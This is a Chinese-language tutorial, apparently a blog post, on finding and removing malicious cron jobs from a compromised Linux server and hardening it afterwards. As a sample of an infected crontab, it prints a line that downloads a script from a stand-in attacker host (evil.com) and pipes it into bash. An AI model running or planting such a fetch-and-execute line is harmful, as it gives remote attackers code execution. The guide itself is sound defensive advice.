服务器被植入定时任务?教你一键清除
服务器被植入定时任务?先别慌,按这步来查清楚
不少运维新手会发现服务器CPU突然跑满、网络异常,排查到最后都指向定时任务(crontab)被植入恶意脚本。
这种情况下,只要学会一个命令就能一键清理——前提是找到问题所在。
下面就从零开始,教你如何查、如何删、如何防。
第一步:检查当前所有定时任务
登录服务器后,先执行以下命令查看当前用户的定时任务列表:
crontab -l
如果输出了一堆你从未见过、且看起来像乱码或奇怪链接的任务,比如:
*/5 * * * * /usr/bin/curl -s http://evil.com/script.sh | bash
*/10 * * * * /tmp/.hidden/update >/dev/null 2>&1
那么基本可以确定服务器被植入了定时任务。
注意,crontab -l 只显示当前登录用户的定时任务,如果怀疑 root 用户也被植入,可以切换到 root 再执行一次。
第二步:一键清除并查看详细内容
确认有可疑任务后,直接执行 crontab -e 进入编辑模式:
crontab -e
你会看到一个文本文件,里面每行就是一个定时任务。
将明显属于恶意脚本的行全部删除(比如上面举例的两行)。
如果不确定哪些可以删,可以先备份全部内容:
crontab -l > ~/crontab_backup_$(date +%Y%m%d).txt
然后清空所有任务:
crontab -r
注意: crontab -r 会删除当前用户下的全部定时任务。
如果系统原本有正常任务(比如日志清理、备份),删除后会中断——所以建议先用 crontab -l 确认哪些是正常的。
大多数新手服务器很少配置自定义定时任务,因此删除后几乎不影响系统运行。
如果你想更精准地“一键清除”恶意部分,而保留其他正常任务,可以使用 crontab -e 手动删除不认识的条目,保存退出即可。
第三步:检查宝塔面板里的计划任务(如果用了宝塔)
不少新手朋友为了方便使用了宝塔面板,恶意任务也可能被写入宝塔的计划任务模块。
检查路径如下:
- 登录宝塔面板后台
- 左侧菜单找到“计划任务”
- 查看所有任务列表,重点关注“Shell脚本”类型的任务
- 如果发现来源不明的任务(比如脚本路径在
/tmp或/dev/shm),点击“删除”按钮即可
宝塔里的定时任务会同时写入系统的 crontab,因此在宝塔中删除后,再执行 crontab -l 确认是否清空。
避坑指南:删完任务后还要做的几件事
即使删除了恶意定时任务,脚本文件本身可能还留在服务器上,下次开机或被触发时可能再次生成新任务。
因此建议做以下收尾:
- 查找并删除可疑文件:执行
find /tmp /var/tmp /dev/shm -type f -mtime -7 | xargs ls -la查看最近7天被修改的可疑文件,尤其是隐藏文件(文件名以点开头)和可执行脚本。 - 检查系统的启动项:恶意脚本可能通过
systemd服务或/etc/rc.local实现持续驻留。执行systemctl list-unit-files --state=enabled查看异常服务。 - 修改所有密码:特别是 SSH 登录密码,防止攻击者再次植入。
- 更新系统与软件:及时打补丁,关闭不必要的端口。
效果验证与预防建议
清除后,再次执行 crontab -l 确认返回空(或仅剩你需要的正常任务)。
也可以观察一两天,CPU 和带宽是否恢复正常。
以后要定期检查定时任务,建议每月执行一次 crontab -l 并和上次备份比对。
同时为 root 用户设置强密码并开启 SSH 密钥登录,从源头减少被植入的风险。
如果你在处理服务器被植入定时任务的过程里遇到任何报错(比如 crontab: 或者
no such usercommand not found),
只需先安装 cronie(CentOS)或 cron(Ubuntu),
然后再执行以上步骤即可。
最后,把本文收藏起来,下次遇到这种情况就能快速按步骤一键清除,不用再临时百度了。